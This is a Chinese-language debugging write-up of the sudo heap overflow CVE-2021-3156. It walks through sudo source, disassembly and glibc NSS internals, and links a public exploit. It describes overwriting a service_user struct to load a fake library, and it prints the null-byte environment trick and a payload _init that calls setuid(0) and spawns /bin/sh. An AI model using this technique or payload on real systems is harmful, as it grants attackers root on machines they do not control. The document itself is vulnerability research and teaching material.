CVE-2021-3156调试分析

 

最近才爆出的sudo提权漏洞,危害十分大,能够影响到20.04版本。本文是根据原作者文章学习所得,如有错误,敬请各位大佬斧正,万分感谢。

 

漏洞环境

操作系统:ubuntu 18.04.1
sudo:1.8.21p2
glibc:2.27
exphttps://github.com/blasty/CVE-2021-3156.git

 

漏洞分析

CVE-2021-3156 ——sudo在处理单个反斜杠结尾的命令时,发生逻辑错误,存在堆溢出漏洞。当 sudo通过 -s 或 -i命令行选项在 shell模式下运行命令时,他将在命令参数中使用反斜杠转义特殊字符。但使用 -s或 -i标志运行 sudoedit时,实际上并未进行转义,从而导致堆溢出。

代码分析

sudo加上 -s选项会设置 MODE_SHELL,加上 -i选项会设置 MODE_SHELL和 MODE_LOGIN_SHELL。在 main()(sudo.c)函数中调用了parse_args(),parse_args()会连接所有命令行参数,并给元字符加反斜杠来重写 argv。

//sudo.c 
/* Parse command line arguments. */
    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
    sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);

parse_args()下面一段代码的主要功能是先判断是否启用了 -s或 -i的 MODE_SHELL,如果启用了就对参数前面加上反斜杠重写参数。

//parse_args.c   parse_args()
/*
     * For shell mode we need to rewrite argv
     */
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {    //检查是否开启 MODE_SHELL
    char **av, *cmnd = NULL;
    int ac = 1;

    if (argc != 0) {
        /* shell -c "command" */
        char *src, *dst;
        size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
        strlen(argv[argc - 1]) + 1;

        cmnd = dst = reallocarray(NULL, cmnd_size, 2);
        if (cmnd == NULL)
        sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        if (!gc_add(GC_PTR, cmnd))
        exit(1);

        for (av = argv; *av != NULL; av++) {
        for (src = *av; *src != '\0'; src++) {
            /* quote potential meta characters */
            if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
            *dst++ = '\\';    //添加反斜杠
            *dst++ = *src;    //原参数
        }
        *dst++ = ' ';
        }
        if (cmnd != dst)
        dst--;  /* replace last space with a NUL */
        *dst = '\0';

        ac += 2; /* -c cmnd */
    }

在sudoers_policy_main()中调用了 set_cmnd()函数

//sudoers.c sudoers_policy_main()
    /* Find command in path and apply per-command Defaults. */
    cmnd_status = set_cmnd();
    if (cmnd_status == NOT_FOUND_ERROR)
    goto done;

在 set_cmnd()函数中,首先根据参数使用 strlen()函数计算了参数的 size,再调用 malloc()函数分配了 size大小的堆空间 user_args 。随后判断是否开启了 MODE_SHELL,如果开启了将会 连接命令行参数并存入堆空间 user_args。

// sudoers.c set_cmnd()    
/* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {    //检查是否开启 MODE_SHELL或MODE_LOGIN_SHELL
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    //from指向 命令参数
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;    //将from拷贝到 user_args
            }
            *to++ = ' ';
        }
        *--to = '\0';
        } else {
        for (to = user_args, av = NewArgv + 1; *av; av++) {
            n = strlcpy(to, *av, size - (to - user_args));
            if (n >= size - (to - user_args)) {
            sudo_warnx(U_("internal error, %s overflow"), __func__);
            debug_return_int(-1);
            }
            to += n;
            *to++ = ' ';
        }
        *--to = '\0';
        }
    }
    }

上面将命令行参数拷贝给堆空间的逻辑,如果命令行参数以1个反斜杠结尾例如 $ sudo -s / 112233

 from[0]是反斜杠,from[1]是 null 结束符(非空格),满足如下要求  if (from[0] == '\\' && !isspace((unsigned char)from[1]))   ;
所以,from 加1,指向 null 结束符;
null 结束符被拷贝到 user_args堆缓冲区, from又加1,from指向了null结束符后面第1个字符(超出参数的边界,此时为 1);
随后会继续循环将越界字符拷贝到 user_args堆缓冲区,发生了堆溢出漏洞

漏洞触发

上面指出,在 parse_args()会对启用了 -s或 -i的 MODE_SHELL和 MODE_RUN 的 sudo的参数加上 反斜杠 转义。

//parse_args.c parse_args()
    /*
     * For shell mode we need to rewrite argv
     */
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
    ...

而 set_cmnd()函数中触发堆溢出前,会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK 中的一个。那么就存在一个矛盾,如果要触发漏洞就需要启用 MODE_SHELL,但是如果启用了 MODE_SHELL,在 parse_args()函数中就会对所有参数转义,触发漏洞的 \,将会被转义为 \\,这样就无法触发漏洞了。

//sudoers.c set_cmnd()
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {    
    ...
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
    ...

所以这里 并没有使用 sudo,而是使用 sudoedit。原因在于如果使用 sudoedit,其还是会被软链接到使用 sudo命令,但是在 parse_args()函数中会自动设置 MODE_EDIT和不会重置 valid_flags,则 MODE_SHELL仍然在 valid_flags中 ,而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分,同时满足 set_cmnd()函数中漏洞触发的部分。

//parse_args.c parse_args()
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) 
... 
int valid_flags = DEFAULT_VALID_FLAGS;     //valid_flags默认参数包含MODE_SHELL,不包含MODE_RUN
...
/* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
    progname = "sudoedit";
    mode = MODE_EDIT;    //设置MODE_EDIT
    sudo_settings[ARG_SUDOEDIT].value = "true";
    }

注意:这里还要解释一下该漏洞可利用的几个有利点(参考该文):

user_agrs堆空间的 size是可控的,就是我们输入的 命令参数合并后的长度;
我们溢出的内容是可控的,取决于我们输入的 \后的字符内容,该字符会全部被溢出写到堆块后;
可以写 null字节到 user_args,每个以单反斜杠结尾的命令行参数或环境变量,都能往user_args写1个null字节
可以写连续多个 null,环境变量并不一定得是env_name=XXX这种形式,环境变量可以是字符串数组。C代码中用execve执行shell命令,环境变量设置2个连续的\即可插入2个连续的null字节。

char *env[] = { "AAA", "\\", "\\", "BBB", NULL };
execve("/usr/bin/sudoedit", argv, env);

 

漏洞调试

漏洞触发点

最开始想自己编译一个 sudo,带符号的调试更方便。但是这样会导致漏洞执行不成功。所以就只有用系统自带的无符号的sudo进行调试。

首先使用如下命令运行 exp:

sduo gdb --args ./sudo-hax-me-a-sandwich 0

随后,在 execve下断点:

catch exec

再运行该 continue

随后,gdb会断在 execve函数。我们在下断点 b setlocale,在继续运行,此时就会停在 setlocale函数。该函数是我们在执行 sudo最开始时会调用的。我们 finish后,就能够进入 sudo的 main函数中。

//sudo.c
int
main(int argc, char *argv[], char *envp[])
{
    int nargc, ok, status = 0;
    char **nargv, **env_add;
    char **user_info, **command_info, **argv_out, **user_env_out;
    struct sudo_settings *settings;
    struct plugin_container *plugin, *next;
    sigset_t mask;
    debug_decl_vars(main, SUDO_DEBUG_MAIN)

    /* Make sure fds 0-2 are open and do OS-specific initialization. */
    fix_fds();
    os_init(argc, argv, envp);

    setlocale(LC_ALL, "");
    ...

随后,我们需要进入 set_cmnd函数。这里我是先通过 sudo的main函数运行加载完 sudoers.so动态库后,下的地址断点。通过分析 sudoers.so的汇编,能够找到下图是上面分析的漏洞代码的开始处:

//sudoers.so
.text:000000000001D988                 add     r13, 8
.text:000000000001D98C ; 345:     v21 = strlen(av);
.text:000000000001D98C                 call    _strlen
.text:000000000001D991 ; 346:     av = *v20;
.text:000000000001D991 ; 349:   while ( *v20 );
.text:000000000001D991                 mov     rdi, [r13+0]
.text:000000000001D995 ; 347:     size += v21 + 1;
.text:000000000001D995                 lea     r14, [r14+rax+1]
.text:000000000001D99A                 test    rdi, rdi
.text:000000000001D99D                 jnz     short loc_1D988
.text:000000000001D99F ; 350:   if ( !size || (user_args = (unsigned __int8 *)malloc(size), to = user_args, (qword_256970 = (__int64)user_args) == 0) )
.text:000000000001D99F                 test    r14, r14
.text:000000000001D9A2                 jz      loc_1E4D0
.text:000000000001D9A8                 mov     rdi, r14        ; size
.text:000000000001D9AB                 call    _malloc         ; set_cmnd下断点处
.text:000000000001D9B0                 test    rax, rax
.text:000000000001D9B3                 mov     r13, rax
.text:000000000001D9B6                 mov     cs:qword_256970, rax
.text:000000000001D9BD                 jz      loc_1E4D0
.text:000000000001D9C3 ; 364:   if ( (sudo_mode & 0x60000) != 0 )
.text:000000000001D9C3                 test    dword ptr cs:2568F0h, 60000h
.text:000000000001D9CD ; 363:   from = (unsigned __int8 *)v16[1];
.text:000000000001D9CD                 mov     r15, [r15+8]
.text:000000000001D9D1                 jz      loc_1E0E0
.text:000000000001D9D7 ; 366:     if ( from )
.text:000000000001D9D7                 test    r15, r15
.text:000000000001D9DA                 jz      loc_1E288
.text:000000000001D9E0 ; 368:       while ( 1 )
.text:000000000001D9E0
.text:000000000001D9E0 loc_1D9E0:                              ; CODE XREF: sub_1D5C0+CC0↓j
.text:000000000001D9E0                 movzx   eax, byte ptr [r15]
.text:000000000001D9E4                 test    al, al
.text:000000000001D9E6                 jnz     short loc_1DA12
.text:000000000001D9E8                 jmp     loc_1E268
.text:000000000001D9E8 ; ---------------------------------------------------------------------------
.text:000000000001D9ED                 align 10h
.text:000000000001D9F0 ; 375:             v26 = *from;
.text:000000000001D9F0
.text:000000000001D9F0 loc_1D9F0:                              ; CODE XREF: sub_1D5C0+458↓j
.text:000000000001D9F0                                         ; sub_1D5C0+46F↓j
.text:000000000001D9F0                 mov     rax, r14
.text:000000000001D9F3                 movzx   edx, byte ptr [r15]
.text:000000000001D9F7 ; 376:             v27 = from++;
.text:000000000001D9F7                 mov     r14, r15
.text:000000000001D9FA                 mov     r15, rax
.text:000000000001D9FD ; 382:           *to++ = v26;
.text:000000000001D9FD
.text:000000000001D9FD loc_1D9FD:                              ; CODE XREF: sub_1D5C0+475↓j
.text:000000000001D9FD                 add     r13, 1
.text:000000000001DA01                 mov     [r13-1], dl
.text:000000000001DA05 ; 370:         for ( from0 = *from; from0; from0 = v27[1] )
.text:000000000001DA05                 movzx   eax, byte ptr [r14+1]
.text:000000000001DA0A                 test    al, al
.text:000000000001DA0C                 jz      loc_1E268
.text:000000000001DA12 ; 372:           v27 = from + 1;
.text:000000000001DA12
.text:000000000001DA12 loc_1DA12:                              ; CODE XREF: sub_1D5C0+426↑j
.text:000000000001DA12                 cmp     al, 5Ch ; '\'
.text:000000000001DA14                 lea     r14, [r15+1]
.text:000000000001DA18 ; 373:           if ( from0 != '\\' || (v28 = __ctype_b_loc(), v26 = from[1], ((*v28)[v26] & 0x2000) != 0) )
.text:000000000001DA18                 jnz     short loc_1D9F0
.text:000000000001DA1A                 call    ___ctype_b_loc
.text:000000000001DA1F                 movzx   ecx, byte ptr [r15+1]
.text:000000000001DA24                 mov     rax, [rax]
.text:000000000001DA27                 test    byte ptr [rax+rcx*2+1], 20h
.text:000000000001DA2C                 mov     rdx, rcx
.text:000000000001DA2F                 jnz     short loc_1D9F0
.text:000000000001DA31 ; 380:             from += 2;
.text:000000000001DA31                 add     r15, 2
.text:000000000001DA35                 jmp     short loc_1D9FD

直接在 malloc()函数的地址处下断点,就能够得到 user_args堆块的地址,如下图所示:

提权方法

这里需要先介绍一下该漏洞所使用的提权方法,先了解一个结构体 service_user 和一个函数 nss_load_library。在 service_user结构体中指定了要动态加载的动态链接库,如果能够修改 service_user->name,那么就能指定加载伪造的动态链接库。而 nss_load_library函数就是加载动态链接库的函数,其会调用 __libc_dlopen打开动态库。

typedef struct service_library
{
  /* Name of service (`files', `dns', `nis', ...).  */
  const char *name;
  /* Pointer to the loaded shared library.  */
  void *lib_handle;
  /* And the link to the next entry.  */
  struct service_library *next;
} service_library;

// 1. service_user 结构
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

// 2. nss_load_library() 函数
static int nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,   // (1)设置 ni->library
                     ni->name);
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,   // (2)伪造的库文件名必须是 libnss_xxx.so
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name); // (3)加载目标库
      //continue long long function

这里需要注意 nss_load_library需要满足 ni->library != null和ni->library->lib_handle == NULL才能加载新库。

也就是我们需要将 ni->library覆盖为 null,将 ni->name覆盖我们自己伪造的库名字,且伪造的库文件名必须是 libnss_xxx.so。

那么,难点就是如何仅通过一个 堆溢出去覆盖一个 service_user结构。这里的方法是,在一个 service_user结构体前面释放一个堆块,然后 分配 user_args分配到该堆块,随后使用堆溢出覆盖 service_user结构体。

然后,使用 search -s systemd [heap]命令搜索 堆块中的systemd字符串。来定位 service_user结构体的位置,如下所示,可以看到 0x5618621b5450处是一个 service_user结构体。

而,通过malloc分配的 0x80 tcache位于 service_user结构体之前,相差 0x100。

可以看到 serviceuser偏移 0x30处 是 systemd,而我们通过堆溢出可以看到我们将该结构体中的 name覆盖为 X/POP_SH3LLZ(这里的 library在覆盖完后应该为 Null,但是我这里截图是在执行了 nss_new_service所截图,所以这里 library已经有了值)。

将离 user_args最近的 service_user结构体覆盖后,程序会调用 getgrgid()函数,最后去调用 nss_load_library。

//sudoers.so
.text:0000000000034720 loc_34720:                              ; CODE XREF: sub_344D0+3E↑j
.text:0000000000034720                 mov     edi, ebx        ; gid
.text:0000000000034722                 call    _getgrgid       ; 10
.text:0000000000034727                 mov     rbx, rax
.text:000000000003472A                 jmp     loc_3451F

在 nssload_libray中,构造了满足调用新动态链接库的条件,所以会通过 ni->name构造动态链接库的名字 shlib_name为 libnss_X/POP_SH3LLZ .so.2。最终会通过 __libc_dlopen(shlib_name)打开。

而 libnssX/POP_SH3LLZ .so.2中只含有一个 init函数,该函数的作用就是id(0)调用 execv(‘/bin/sh’),自此完成了提权。

static void _init(void) {
    printf("[+] bl1ng bl1ng! We got it!\n");
    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *a_argv[] = { "sh", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execv("/bin/sh", a_argv);
}

 

参考文献

https://www.jianshu.com/p/18f36f1342b3

https://bbs.pediy.com/thread-265669.htm

https://github.com/blasty/CVE-2021-3156/blob/main/hax.c

https://www.openwall.com/lists/oss-security/2021/01/26/3

(完)